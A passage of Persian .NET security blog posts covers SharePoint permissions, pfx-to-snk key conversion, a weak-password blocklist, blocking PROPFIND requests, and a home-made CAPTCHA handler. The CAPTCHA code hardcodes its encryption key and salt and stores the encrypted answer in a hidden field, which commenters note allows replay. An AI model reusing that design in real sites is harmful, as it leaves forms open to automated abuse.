برای مثال سایتی مانند زیر را در نظر بگیرید ؛ در سازمان ، دپارتمانی به نام IT در حال فعالیت است که Security Group آن به صورت مجزا تعریف شده اند و از والد ارث بری نکرده اند :

همانطور که مشاهده می‌کنید ، Unique Permission بودن سایت در بالای سایت نمایش داده شده و دکمه Inherite Permission فعال شده است .

در زیر مجموعه آن یک سایت با عنوان meeting Workspace ایجاد می‌کنیم که Security Group آن از IT ارث بری کرده است :

و در این قسمت ارث بری سایت از والد نمایش داده شده و دکمه Stop Inheriting Permission فعال شده است .

همچنین در صورتی که تمایل به ایجاد یک گروه جدید داشته باشید می‌توانید از طریق ریبون بالای صفحه روی Create Group کلیک کرده و گروه خود را ایجاد نمایید

موفق باشید

نظرات خوانندگان

نویسنده: محسن کریمی
تاریخ: ۱۳۹۱/۰۸/۱۳ ۲۳:۳

تشکر از مطلبتون

نویسنده: امیر هاشم زاده
تاریخ: ۱۳۹۱/۱۰/۲۴ ۱:۵۲

برای اطلاعات بیشتر از این لینک هم می‌تونید استفاده کنید.

عنوان: **تبدیل فایل‌های pfx به snk**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۷/۲۹ ۱۱:۴۳
آدرس: www.dotnettips.info
گروه‌ها: Security, Certificate, PKCS, X509, Cryptography

مرسوم است و توصیه شده است که جهت ارائه کتابخانه‌های دات نتی خود از امضای دیجیتال استفاده کنید. VS.NET برای این منظور در برگه signing خواص یک پروژه، چنین امکانی را به صورت توکار ارائه می‌دهد.

حال اگر بخواهیم همین پروژه را به صورت سورس باز ارائه دهیم، استفاده کنندگان نهایی به مشکل برخواهند خورد؛ زیرا فایل pfx حاصل، توسط کلمه عبور محافظت می‌شود و در سایر سیستم‌ها بدون درنظر گرفتن این ملاحظات قابل استفاده نخواهد بود.

معادل فایل‌های pfx، فایلهایی هستند با پسوند snk که تنها تفاوت مهم آن‌ها با فایل‌های pfx، عدم محافظت توسط کلمه عبور است و ... برای کارهای خصوصا سورس باز انتخاب مناسبی به شمار می‌روند. اگر دقت کنید، اکثر پروژه‌های سورس باز دات نتی موجود در وب (مانند NHibernate، لوسین، iTextSharp و غیره) از فایل‌های snk برای اضافه کردن امضای دیجیتال به کتابخانه نهایی تولیدی استفاده می‌کنند و نه فایل‌های pfx محافظت شده.

در اینجا اگر فایل pfx ایی دارید و می‌خواهید معادل snk آن‌را تولید کنید، قطعه کد زیر چنین امکانی را مهیا می‌سازد:

```
using System.IO;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;

namespace PfxToSnk
{
    class Program
    {
        /// <summary>
        /// Converts .pfx file to .snk file.
        /// </summary>
        /// <param name="pfxData">.pfx file data.</param>
        /// <param name="pfxPassword">.pfx file password.</param>
        /// <returns>.snk file data.</returns>
        public static byte[] Pfx2Snk(byte[] pfxData, string pfxPassword)
        {
            var cert = new X509Certificate2(pfxData, pfxPassword, X509KeyStorageFlags.Exportable);
            var privateKey = (RSACryptoServiceProvider)cert.PrivateKey;
            return privateKey.ExportCspBlob(true);
        }

        static void Main(string[] args)
        {
            var pfxFileData = File.ReadAllBytes(@"D:\Key.pfx");
            var snkFileData = Pfx2Snk(pfxFileData, "my-pass");
            File.WriteAllBytes(@"D:\Key.snk", snkFileData);
        }
    }
}
```

نظرات خوانندگان

نویسنده: Mohsen
تاریخ: ۱۳۹۱/۰۷/۳۰ ۱۱:۹

آقای نصیری ممنون از لطف شما.
ممکنه بیشتر درمورد این امضا و نحوه‌ی کاربرد اون صحبت کنید؟(مثلا بنده یک کتابخانه‌ی آزمایشی را با استفاده از امضای موجود در بخش Signing امضا نموده و فایل pfx مربوطه را ساختم.اما اسمبلی مربوطه به سادگی در سایر پروژه‌ها قابل استفاده و حتی قابل مشاهده است(از طریق metadata)).

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۷/۳۰ ۱۱:۱۲

بله. این امضای دیجیتال، فقط به این معنا است که کار تولید شده متعلق به شما می‌باشد. هیچ نوع محدودیت دیگری را اعمال نمی‌کند.
+ وجود آن اندکی patch کردن برنامه‌ها رو مشکل می‌کنه. خصوصا در مورد برنامه‌های WPF و سیلورلایت.

نویسنده: سام ناصری
تاریخ: ۱۳۹۱/۱۲/۱۶ ۶:۲

مطلب خوبی بود وحید جان. ممنونم.
البته من بعد از اینکه مطلب شما رو خوندم و متوجه شدم که دو نوع فایل pfx و snk هست که با اون میشه sign کرد اندکی تو اینترنت گشتم و متوجه یک نکته شدم که گفتم بد نیست اینجا مطرح کنم.
هر چند مطلب شما درباره تبدیل فایل pfx به snk است اما متنی که نوشتید این موضوع را القا میکند که نمیشود به سادگی این فایل رو ساخت.
به هر روی، میتوان فایل snk را از طریق فایل زبانه signing در خواص پروژه ساخت. برای این کار کافیست که گزینه Protect my key file with a password را آنتیک کرد و در این حالت به جای اینکه فایل pfx ساخته شود فایل snk ساخته میشود.
مطلب دیگر اینکه من پروژه‌های متن باز دیگری را دیده ام که الان حضور ذهن ندارم بگم(احتمالاً یکیشون RavenDB بود) که از طریق خواص پروژه ویژوال استودیو کار signing را انجام نمیدهند یعنی در آنجا گزینه sign کردن را انتخاب نکرده اند. چون فایل snk را اگر منتشر کنیم همه میتونند با اون اسمبلی‌ها را sign کنند و معنای strong name بودن اسمبلی به طور کلی میره زیر سوال.
در عوض از یک customized build استفاده میکنند که فقط توسط خودشون(مالکان پروژه) قابل فراخوانی است و توسط اون اسمبلی‌های release را میسازند. البته در اینباره باید بیشتر بررسی کنم و شاید دقیقاً ماجرا 100 درصد به این شکل که گفتم نیست.

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۱۲/۱۶ ۹:۳۱

- علت اینکه این مطلب رو نوشتم مربوط به زمانی بود که پروژه‌ای از قبل موجود بود با فایل pfx آن و قصد داشتم معادل محافظت نشده فایل pfx آن‌را تولید کنم.
- در مورد تولید فایل‌های pfx و snk یک مطلب نسبتا جامع در سایت داریم .
- به نظر من زمانیکه یک پروژه سورس باز است، امضا کردن اسمبلی‌های آن آنچنان مفهومی ندارد چون دسترسی به سورس و حتی ارائه آن بر اساس اطمینان به جامعه مصرف کننده صورت می‌گیرد. خیلی خیلی کم هستند موارد سوء استفاده از اسمبلی‌های امضاء شده به این صورت. مگر اینکه بحث پروژه کرنل لینوکس با تعداد مصرف کننده بالا و اهمیت امنیتی آن مطرح باشد که نیاز به امضای فایل‌های باینری آن وجود داشته باشد.

عنوان: **مقابله با پسوردهایی که ساده حدس زده می‌شوند**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۸/۱۰ ۲۱:۵
آدرس: www.dotnettips.info
برچسب‌ها: MVC, Security, Validation

هر ساله لیستی از پرکاربردترین کلمات عبور کاربران در دنیا، منتشر می‌شود که یک نمونه از آن‌را در اینجا می‌توان مشاهده کرد:
« Splashdata، توسعه دهنده نرم افزارهای امنیتی، فهرست سالانه خود را از رایج‌ترین رمزهای عبور منتشر کرده است. »

می‌شود از این لیست برای بهبود پروسه ثبت نام در یک سایت استفاده کرد و همان زمان که کاربر کلمه عبور ضعیفی را وارد کرده است، به او پیغام داد که «کلمه عبور وارد شده را راحت می‌توان حدس زد!»

```
using System.Linq;

namespace SecurityModule
{
    public static class SafePassword
    {
        public static ISet<string> BadPasswords = new HashSet<string>
        {
            "password",
            "password1",
            "123456",
            "12345678",
            "1234",
            "qwerty",
            "12345",
            "dragon",
            "******",
            "baseball",
            "football",
            "letmein",
            "monkey",
            "696969",
            "abc123",
            "mustang",
            "michael",
            "shadow",
            "master",
            "jennifer",
            "111111",
            "2000",
            "jordan",
            "superman",
            "harley",
            "1234567",
            "iloveyou",
            "trustno1",
            "sunshine",
            "123123",
            "welcome"
        };

        public static bool IsSafePasword(this string data)
        {
            if (string.IsNullOrWhiteSpace(data)) return false;
            if (data.Length < 5) return false;
            if (BadPasswords.Contains(data.ToLowerInvariant())) return false;
            if (data.AreAllCharsEuqal()) return false;

            return true;
        }

        public static bool AreAllCharsEuqal(this string data)
        {
            if (string.IsNullOrWhiteSpace(data)) return false;
            data = data.ToLowerInvariant();
            var firstElement = data.ElementAt(0);
            var euqalCharsLen = data.ToCharArray().Count(x => x == firstElement);
            if (euqalCharsLen == data.Length) return true;
            return false;
        }
    }
}
```

متد الحاقی IsSafePasword فوق بررسی می‌کند که آیا کلمه عبور انتخابی:

- خالی نیست.
- بیشتر از 5 کاراکتر طول دارد.
- تمام حروف بکارگرفته شده در آن یکسان نیستند.

و در ASP.NET MVC با استفاده از قابلیت Remote validation آن استفاده از این متد به نحو زیر خواهد بود:

```
public partial class RegisterController : Controller
{
        //...

        [HttpPost]
        [OutputCache(Location = OutputCacheLocation.None, NoStore = true)]
        public virtual ActionResult CheckPassword(string password1)
        {
            return Json(password1.IsSafePasword());
        }
}
```

ابتدا یک اکشن متد به کنترلر ثبت نام در سایت به نحو فوق اضافه خواهد شد.

سپس قسمتی از ViewModel متناظر با صفحه ثبت نام سایت، به شکل زیر اضافه و تعریف می‌گردد:

```
using System.ComponentModel.DataAnnotations;
using System.Web.Mvc;

namespace MyBlog.Models
{
    public class RegisterViewModel
    {
        //...

        [Display(Name = "کلمه عبور")]
        [Required(ErrorMessage = "لطفا کلمه عبور خود را وارد نمائید")]
        [DataType(DataType.Password)]
        [StringLength(50, MinimumLength = 5, ErrorMessage = "حداقل طول کلمه عبور 5 حرف است")]
        [Remote(action: "CheckPassword",  controller: "Register",  HttpMethod = "POST",
                    ErrorMessage = "کلمه عبور وارد شده را راحت می‌توان حدس زد!")]
        public string Password1 { get; set; }
    }
}
```

عنوان: **بستن دسترسی درخواست‌های PROPFIND در ASP.NET**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۸/۱۴ ۲۱:۵
آدرس: www.dotnettips.info
برچسب‌ها: ASP.Net, Security

هر از چندگاهی که به لاگ‌های خطای برنامه مراجعه می‌کنم، درخواست‌هایی (حملاتی) با این مشخصات ثبت شده:

```
REQUEST_METHOD:  OPTIONS
REQUEST_METHOD:  PROPFIND
HTTP_USER_AGENT:  Microsoft-WebDAV-MiniRedir/6.1.7600
SCRIPT_NAME:  /ipc$
```

برای بستن این نوع درخواست‌های ویژه (که عموما برای دسترسی به اطلاعات شیرپوینت و یا سرور بکار می‌روند)، فقط کافی است فایل web.config برنامه را به نحو زیر اصلاح کنیم:

```
<system.web>
    <httpHandlers>
      <add path="*" verb="OPTIONS, PROPFIND" type="System.Web.DefaultHttpHandler" />
    </httpHandlers>
</system.web>

<system.webServer>
    <handlers>
      <add name="propf" path="*" verb="OPTIONS, PROPFIND" type="System.Web.DefaultHttpHandler" />
    </handlers>
</system.webServer>
```

نظرات خوانندگان

نویسنده: الهام
تاریخ: ۱۳۹۱/۰۸/۱۵ ۸:۴۳

سلام آقای نصیری

ببخشید میشه توضیح بدین این اصلاحیه چه عملی انجام میده؟ به نظر میرسه این نوع درخواستها که هنوز هندل میشن

با تشکر

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۸/۱۵ ۸:۵۱

بله. پیغام "Not Implemented 501" را به درخواست‌های PROPFIND ارائه می‌ده.

عنوان: **بررسی تصویر امنیتی (Captcha) سایت - قسمت اول**
نویسنده: مهدی پایروند
تاریخ: ۱۳۹۱/۰۸/۲۸ ۲۱:۳۰
آدرس: www.dotnettips.info
برچسب‌ها: Security, CAPTCHA, CAPTCHAfa, handler

تصویر امنیتی و یا کپچا برای تشخیص و احراز انسان بودن استفاده کننده استفاده میشود و بصورت تصویری که استخراج نوشته‌های درون آن برای روبوت‌ها بسیار سخت و یا نشدنی است ایجاد میشود و دارای انواع و اقسام متفاوتی است. در این میان برای استفاده از این امکان نمونه هایی در زبانهای مختلف تهیه شده که بسته به سلیقه و نیاز مورد استفاده قرار گرفته شده است. در این مقاله قصد داریم با بررسی تصویر امنیتی که در وبلاگ کنونی استفاده شده آنرا تا حدودی بازسازی کنیم.

تصویر آشنای کاربران سایت برای ورود به قسمت مدیریت که در صفحه مورد نظر از تصویر امنیتی استفاده شده است:

با توجه به آدرس لینک تصویر مشخص است که برای تولید این تصویر از هندلر استفاده شده و با توجه به پارامترهایی که به آن داده شده تصویر مورد نظر را ایجاد میکند و با فرمت مشخصی بر میگرداند:

```
http://www.dotnettips.info
/CaptchaImage/Show?
text=H2yL5iOXIuu0dsBvu%2F405AnXkeacis3dMQ%2FHXAH8h4A%2BjwDM0f7%2FRZMHvBG5pXYJ
```

```
&foreColor=%231B0172
&fontSize=12
&fontName=Tahoma
```

پارامترهای پاس داده شده به ترتیب ذیل برای اهدافی قرار داده شده اند:

نام	مورد استفاده	مقدار
text	متنی که بصورت کد شده حاوی متن مورد استفاده تصویر امنیتی است	H2yL5iOXIuu0dsBvu%2F405AnXkeacis3dMQ%2FHXAH8h4A%2BjwDM0f7%2FRZMHvBG5pXYJ
foreColor	رنگ مربوط به نوشته‌های تصویر	%231B0172
fontSize	سایز فونت	12
fontName	نام فونت	Tahoma

بنظر اهم پارامتر مورد نیاز همان متن است که بصورت کد شده در بالا به آن اشاره شد. برای این منظور باید کلاسی تهیه شود که حاوی متدهای:

-1 انتخاب یه عدد تصادفی از بین دامنه ای که به آن داده میشود.

برای مثال یه عد از بین 100 تا 9999 که بصورت تصادفی انتخاب میشود

-2 تبدیل به معادل حرفی آن

برای مثال از عدد "7062" به حروف آن یعنی "هفت هزار و شصت و دو" استخراج شود

-3 کد کردن حرف تولید شده

حرف "هفت هزار و شصت و دو" را کد کرده و بصورت متنی شبیه

" H2yL5iOXIuu0dsBvu%2F405AnXkeacis3dMQ%2FHXAH8h4A%2BjwDM0f7%2FRZMHvBG5pXYJ"

تبدیل کند

-4 دیکد کردن و استخراج

البته این مورد با توجه به استفاده ای که ما داریم نیازی به پیاده سازی نیست

در کنار تصوریر امنیتی از یک فیلد مخفی نیز برای نگهداری مقدار کد شده برای مقایسه با ورودی کاربر استفاده شده که در قسمت بعد ضمن ایجاد نمونه کاربردی بیشتر با قسمتهای مختلف آن آشنا میشویم.

نظرات خوانندگان

نویسنده: ahmadalli
تاریخ: ۱۳۹۱/۰۸/۳۰ ۲۱:۳۹

از نظر تئوری هر کدی قابل دی‌کد شدن هست. بهتر نیست برای کد اصلی از hash استفاده کنیم و hash کدی که کاربر وارد می‌کنه رو با hash اصلی مقایسه کنیم؟

نویسنده: مهدی پایروند
تاریخ: ۱۳۹۱/۰۸/۳۰ ۲۳:۴۴

با توجه به قسمت دوم از قسمت دیکد کردن استفاده نشده ولی چون از این نوع رمزنگرای استفاده شده در مواقعی ممکن است از دیکد کردن نیز استفاده کرد ولی به هرحال این رمزگذاری رو میشه بدلخواه تغییر داد.

عنوان: **بررسی تصویر امنیتی (Captcha) سایت - قسمت دوم**
نویسنده: مهدی پایروند
تاریخ: ۱۳۹۱/۰۸/۳۰ ۲۱:۳۰
آدرس: www.dotnettips.info
گروه‌ها: Security, CAPTCHA, CAPTCHAfa, handler

در ادامه بررسی تصویر امنیتی سایت مواردی که باید پیاده سازی شود برای مورد اول میتوان کلاس زیر را در نظر گرفت که متدهایی برای تولید اعداد بصورت تصادفی در بین بازه معرفی شده را بازگشت میدهد:

```
// RandomGenerator.cs
using System;
using System.Security.Cryptography;

namespace PersianCaptchaHandler
{
    public class RandomGenerator
    {
        private static readonly byte[] Randb = new byte[4];
        private static readonly RNGCryptoServiceProvider Rand = new RNGCryptoServiceProvider();

        public static int Next()
        {
            Rand.GetBytes(Randb);
            var value = BitConverter.ToInt32(Randb, 0);
            if (value < 0) value = -value;
            return value;
        }
        public static int Next(int max)
        {
            Rand.GetBytes(Randb);
            var value = BitConverter.ToInt32(Randb, 0);
            value = value%(max + 1);
            if (value < 0) value = -value;
            return value;
        }
        public static int Next(int min, int max)
        {
            var value = Next(max - min) + min;
            return value;
        }
    }
}
```

و برای تبدیل عدد تصادفی بدست آمده به متن نیز از این کلاس میتوان استفاده کرد که به طرز ساده ای این کار را انجام میدهد:

```
// NumberToString.cs
namespace PersianCaptchaHandler
{
    public class NumberToString
    {

        #region Fields
        private static readonly string[] Yakan = new[] { "صفر", "یک", "دو", "سه", "چهار", "پنج",
"شش", "هفت", "هشت", "نه" };
        private static readonly string[] Dahgan = new[] { "", "", "بیست", "سی", "چهل", "پنجاه",
"شصت", "هفتاد", "هشتاد", "نود" };
        private static readonly string[] Dahyek = new [] { "ده", "یازده", "دوازده", "سیزده", "چهارده",
"پانزده", "شانزده", "هفده", "هجده", "نوزده" };
        private static readonly string[] Sadgan = new [] { "", "یکصد", "دوصد", "سیصد", "چهارصد",
"پانصد", "ششصد", "هفتصد", "هشتصد", "نهصد" };
        private static readonly string[] Basex = new [] { "", "هزار", "میلیون", "میلیارد", "تریلیون" };
        #endregion

        private static string Getnum3(int num3)
        {
            var s = "";
            var d12 = num3 % 100;
            var d3 = num3 / 100;
            if (d3 != 0)
                s = Sadgan[d3] + " و ";
            if ((d12 >= 10) && (d12 <= 19))
```

```
            {
                s = s + Dahyek[d12 - 10];
            }
            else
            {
                var d2 = d12 / 10;
                if (d2 != 0)
                    s = s + Dahgan[d2] + " و ";
                var d1 = d12 % 10;
                if (d1 != 0)
                    s = s + Yakan[d1] + " و ";
                s = s.Substring(0, s.Length - 3);
            }
            return s;
        }

        public static string ConvertIntNumberToFarsiAlphabatic(string snum)
        {
            var stotal = "";
            if (snum == "0") return Yakan[0];

            snum = snum.PadLeft(((snum.Length - 1) / 3 + 1) * 3, '0');
            var l = snum.Length / 3 - 1;
            for (var i = 0; i <= l; i++)
            {
                var b = int.Parse(snum.Substring(i * 3, 3));
                if (b != 0)
                    stotal = stotal + Getnum3(b) + " " + Basex[l - i] + " و ";
            }
            stotal = stotal.Substring(0, stotal.Length - 3);
            return stotal;
        }
    }
}
```

و برای کد کردن و دیکد کردن یعنی موارد سوم و چهارم مقاله قبلی، متن بدست آمده را که بعنوان قسمتی از آدرس تصویر در ادامه آدرس هندلر معرفی شده می‌آید تبدیل به یک string بی معنی برای بازدیدکننده میکند:

```
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace PersianCaptchaHandler
{
    public class Encryptor
    {
        #region constraints
        private static string Password { get { return "Mehdi"; } }
        private static string Salt { get { return "Payervand"; } }
        #endregion

        public static string Encrypt(string clearText)
        {
            // Turn text to bytes
            var clearBytes = Encoding.Unicode.GetBytes(clearText);

            var pdb = new PasswordDeriveBytes(Password, Encoding.Unicode.GetBytes(Salt));

            var ms = new MemoryStream();
            var alg = Rijndael.Create();

            alg.Key = pdb.GetBytes(32);
            alg.IV = pdb.GetBytes(16);

            var cs = new CryptoStream(ms, alg.CreateEncryptor(), CryptoStreamMode.Write);

            cs.Write(clearBytes, 0, clearBytes.Length);
            cs.Close();

            var encryptedData = ms.ToArray();

            return Convert.ToBase64String(encryptedData);
        }
        public static string Decrypt(string cipherText)
        {
```

```
            // Convert text to byte
            var cipherBytes = Convert.FromBase64String(cipherText);

            var pdb = new PasswordDeriveBytes(Password, Encoding.Unicode.GetBytes(Salt));

            var ms = new MemoryStream();
            var alg = Rijndael.Create();

            alg.Key = pdb.GetBytes(32);
            alg.IV = pdb.GetBytes(16);

            var cs = new CryptoStream(ms, alg.CreateDecryptor(), CryptoStreamMode.Write);

            cs.Write(cipherBytes, 0, cipherBytes.Length);
            cs.Close();

            var decryptedData = ms.ToArray();

            return Encoding.Unicode.GetString(decryptedData);
        }
    }
}
```

و نیز برای اعتبار سنجی عدد دریافتی از کاربر میتوان از عبارت با قاعده زیر استفاده کرد:

```
// Utils.cs
using System.Text.RegularExpressions;

namespace PersianCaptchaHandler
{
    public class Utils
    {
        private static readonly Regex NumberMatch = new Regex(@"^([0-9]*|\d*\.\d{1}?\d*)$",
RegexOptions.Compiled);
        public static bool IsNumber(string number2Match)
        {
            return NumberMatch.IsMatch(number2Match);
        }
    }
}
```

برای استفاده نیز کافیست که هندلر مربوط به این کتابخانه را بطریق زیر در وب کانفیگ رجیستر کرد:

```
<add verb="GET" path="/captcha/" type="PersianCaptchaHandler.CaptchaHandler, PersianCaptchaHandler,
Version=1.0.0.0, Culture=neutral"  />
```

و در صفحه مورد نظرتان بطریق زیر میتوان از یک تگ تصویر برای نمایش تصویر تولیدی و از یک فیلد مخفی برای نگهداری مقدار کد شده معادل عدد تولیدی که در هنگام مقایسه با عدد ورودی کاربر مورد نیاز است استفاده شود:

```
<!-- ASPX -->
<dl>
    <dt>تصویر امنیتی</dt>
    <dd>
        <asp:Image ID="imgCaptchaText" runat="server" AlternateText="CaptchaImage" />
        <asp:HiddenField ID="hfCaptchaText" runat="server" />
        <asp:ImageButton ID="btnRefreshCaptcha" runat="server" ImageUrl="/img/refresh.png"
            OnClick="btnRefreshCaptcha_Click" />
        <br />
        <asp:TextBox ID="txtCaptcha" runat="server" AutoCompleteType="Disabled"></asp:TextBox>
    </dd>
    <dd>
        <asp:Button ID="btnSubmit" runat="server" Text="ثبت" OnClick="btnSubmit_Click" />
    </dd>
</dl>
<asp:Label ID="lblMessage" runat="server"></asp:Label>
```

در زمان لود صفحه، تصویر امنیتی مقدار دهی میشود و در زمان ورود عدد توسط کاربر با توجه به اینکه کاربر حتما باید عدد وارد کند با عبارت با قاعده این اعتبار سنجی انجام میشود:

```
protected void Page_Load(object sender, EventArgs e)
        {
            if (!Page.IsPostBack)
                SetCaptcha();
        }

        private void SetCaptcha()
        {
            lblMessage.Text =
            txtCaptcha.Text = string.Empty;

            var newNumber =
                RandomGenerator.Next(100, 999)
                ;

            var farsiAlphabatic =
NumberToString.ConvertIntNumberToFarsiAlphabatic(newNumber.ToString());

            hfCaptchaText.Value =
                HttpUtility
                .UrlEncode(
                    Encryptor.Encrypt(
                        farsiAlphabatic
                    )
                );

            txtCaptcha.Text = string.Empty;
            imgCaptchaText.ImageUrl =
                "/captcha/?text=" + hfCaptchaText.Value;
        }
```

و بعد از ورود عدد از سمت کاربر از متد تبدیل به حروف استفاده کرده و این مقدار تولیدی با مقدار فیلد مخفی مقایسه میشود:

```
private string GetCaptcha()
        {
            var farsiAlphabatic = NumberToString.ConvertIntNumberToFarsiAlphabatic(txtCaptcha.Text);

            var encryptedString =
                HttpUtility
                .UrlEncode(
                    Encryptor.Encrypt(
                        farsiAlphabatic
                    )
                );

            return encryptedString;
        }

        private bool ValidateUserInputForLogin()
        {
            if (!Utils.IsNumber(txtCaptcha.Text))
            {
                lblMessage.Text = "تصویر امنیتی را بطور صحیح وارد نکرده اید";
                return false;
            }

            var strGetCaptcha =
                GetCaptcha();

            var strDecodedVAlue =
                hfCaptchaText.Value;

            if (strDecodedVAlue != strGetCaptcha)
            {
                lblMessage.Text = "کلمه امنیتی اشتباه است";
                SetCaptcha();
                return false;
            }
            return true;
        }
```

```
        protected void btnSubmit_Click(object sender, EventArgs e)
        {
            if (!ValidateUserInputForLogin()) return;
            lblMessage.Text = "کلمه امنیتی درست است";
        }

        protected void btnRefreshCaptcha_Click(object sender, ImageClickEventArgs e)
        {
            SetCaptcha();
        }
```

در آخر این پروژه در کدپلکس قرار داده شده، و مشتاق نظرات و پیشنهادات شما هستم و نیز نمونه مثال بالا ضمیمه شده است

نظرات خوانندگان

نویسنده: احمد احمدی
تاریخ: ۱۳۹۱/۰۹/۰۱ ۱۳:۲۸

تشکر از مطلب مفیدتون.
جناب نصیری کلاسی برای تبدیل عدد به حروف نوشته اند که استفاده از اون کلاس در این پروژه ، زیبایی کار را دو چندان می‌کند!

نویسنده: مهدی پایروند
تاریخ: ۱۳۹۱/۰۹/۰۱ ۱۳:۳۸

پروژه در کدپلکس
پروژه در سایت

نویسنده: مهدی پایروند
تاریخ: ۱۳۹۱/۰۹/۰۱ ۱۳:۴۰

بسیار ممنون، با اجازه مهندس نصیری این کار انجام میشه.
لطفا درخواست رو در قسمت مربوط به پروژه در سایت مطرح کنید تا یک تاریخچه مطلوبی برای پروژه ایجاد بشه.

نویسنده: رحمت اله رضایی
تاریخ: ۱۳۹۱/۰۹/۰۶ ۱۱:۲۹

مشکلی که این روش دارد این است که با یک بار بارگذاری صفحه، خواندن عکس توسط انسان و یادداشت متن رمز گذاری شده می‌توان مقدار اولیه عکس را هر بار با ویرایش متن رمزگذاری شده به سرور ارسال کرد و تایید گرفت! مشکلی که سایت فعلی هم دارد.

برای حل این مشکل چه پیشنهادی دارید؟

نویسنده: مهدی پایروند
تاریخ: ۱۳۹۱/۰۹/۰۶ ۱۴:۱۹

ممنون از نظرتون،
موضوع مورد نظر، قسمتی است که متن تصویر برای این کپچا در آن نگهداری میشود،
1. در صورتی که بخواهیم از توانایی‌های سمت سرور کمک گرفت: بنظرم برای اعتبار سنجی میتوان برای کابران در بانک یک کد یونیک به ازای اولین هیت کاربر در سایت ایجاد کرد و این کد را بصورت رمزنگاری شده در کلاینت(کوکی) نگهداشت و مواردی از این دست را با این کد اعتبارسنجی کرد.
2. در صورتی که بخواهیم در سمت کلاینت همه چیز هندل شود : مطمئنا بهتر است که این فیلد مخفی در کنار باکس ورودی قرار داده نشود و برای نگهداری این فیلد از جاوا اسکریپت یا کوکی و از هردو کمک گرفت به این صورت که این مقدار کد شده بصورت مقداری غیر از این و با نامی بدون ربط در متغیری که از سمت سرور مقدار دهی میشود و فقط در سرور خوانده میشود تعویض کرد.

نویسنده: امیرحسین مرجانی
تاریخ: ۱۳۹۱/۰۹/۰۷ ۱۷:۵

لطفا راهنمایی کنید چطور پروژه رو دانلود کنم؟

نویسنده: مهدی پایروند
تاریخ: ۱۳۹۱/۰۹/۰۷ ۱۷:۵۶

برای دمو از این لینک میتونید استفاده کنید +
و همچنین در کدپلکس persiacaptchahandler.codeplex.com
و در همین سایت هم PersianCaptchaHandler

نویسنده: کیارش سلیمان زاده
تاریخ: ۱۳۹۱/۰۹/۰۸ ۱۲:۴۳

بهترین راه استفاده از Expiration date هستش،به این صورت که به متن رمزنگاری شده یک تاریخ انقضای 3دقیقه ای داد،بدون استفاده از دیتابیس و کوکی.

نویسنده: مهدی پایروند
تاریخ: ۱۳۹۱/۰۹/۰۸ ۱۲:۵۷

البته اگر از بازه عددی کوچکی استفاده بشه که ممکنه این تاریخ هم بلا استفاده بمونه، همچنین این تاریخ قرار هست کجا نگهداری بشه

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۹/۰۸ ۱۳:۴

در تمام قسمت‌های رمزنگاری شده سایت جاری از یک salt با طول عمر یک روز استفاده می‌شود. این salt به کلید رمزنگاری اطلاعات اضافه می‌شود. بنابراین اطلاعات رمزنگاری شده توسط آن کلید، فقط در طی روز جاری قابل رمزگشایی خواهند بود.
برای مثال لینک یک پیغام خصوصی سایت را در جایی ذخیره کنید. تا پایان روز کار می‌کند. روز بعد به صورت خودکار منقضی شده (چون salt فردا چیز دیگری است) و اطلاعات روز قبل توسط کلید جدید قابل رمزگشایی نیست. به این ترتیب شخص نیاز خواهد داشت تا لینک جدیدی را در صفحه مداخل مرتبط دریافت کند.

نویسنده: کیارش سلیمان زاده
تاریخ: ۱۳۹۱/۰۹/۰۸ ۱۳:۵

در واقع باید متن رو مثلا شامل دو بخش،بخش اول،و بخش دوم هم تاریخ و زمان فعلی هستش که با یه splitter از هم جدا شدن و بعد رمزنگاری کرد،و در سمت سرور ابتدا بخش دوم رو با تاریخ و زمان فعلی(submit شدن فرم) مقایسه کرد و درصورتیکه اختلاف اونها بیشتر از 3 دقیقه(یا 2 یا ...) بود captcha غیر معتبر هستش.

نویسنده: کیارش سلیمان زاده
تاریخ: ۱۳۹۱/۰۹/۰۸ ۱۳:۷

یک روز برای یک captcha زمان زیادی نیست؟

نویسنده: مهدی پایروند
تاریخ: ۱۳۹۱/۰۹/۰۸ ۱۳:۸

البته بنظرم برای نگهداری نکردن تاریخ در سرور میشه salt رو همین تاریخ امروز در نظر گرفت

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۹/۰۸ ۱۳:۱۰

این لایه اول کلی هست (در تمام قسمت‌های سایت). تست کنید ببینید مطابق تصویر بالایی که ارسال شده می‌تونید در مورد کپچای سایت جواب بگیرید یا نه ...

نویسنده: کیارش سلیمان زاده

تاریخ: ۱۳۹۱/۰۹/۰۸ ۱۳:۱۸

تو لایه‌های بعدی چطور تست میکنید؟
طریقه ایجاد salt رو میشه بیشتر توضیح بدید؟
چیزی رو در دیتابیس هم ذخیره می‌کنید؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۹/۰۸ ۱۳:۲۱

salt مورد استفاده تاریخ ساده روز سیستم است؛ در بانک اطلاعاتی هم ذخیره نمی‌شود.

نویسنده: کیارش سلیمان زاده
تاریخ: ۱۳۹۱/۰۹/۰۸ ۱۳:۴۴

ممنون،
"تست کنید ببینید مطابق تصویر بالایی که ارسال شده می‌تونید در مورد کپچای سایت جواب بگیرید یا نه ..."
بله تست کردم.
بعد از اینکه مشخص شد salt متعلق به امروز هستش،چطور تست میکنید که آیا مطابق با تصویر بالا،متن کپی شده یا اصلی هستش؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۹/۰۸ ۱۳:۴۷

در مرحله بعد از یک کش 5 دقیقه‌ای با کلیدی بر اساس IP شخص استفاده می‌کنم.

نویسنده: کیارش سلیمان زاده
تاریخ: ۱۳۹۱/۰۹/۰۸ ۱۳:۵۴

مگه IP نسبت به ISP برای بعضی‌ها یکسان نیست؟
در این صورت مشکلی پیش نمیاد؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۹/۰۸ ۱۳:۵۸

تا الان که کسی مشکلی گزارش نکرده.
همچنین مقدار ذخیره شده در این کش با طول عمر کوتاه 5 دقیقه‌ای به ازای هر بار ریفرش صفحه متفاوت خواهد بود.

نویسنده: رحمت اله رضایی
تاریخ: ۱۳۹۱/۰۹/۰۸ ۱۴:۱۱

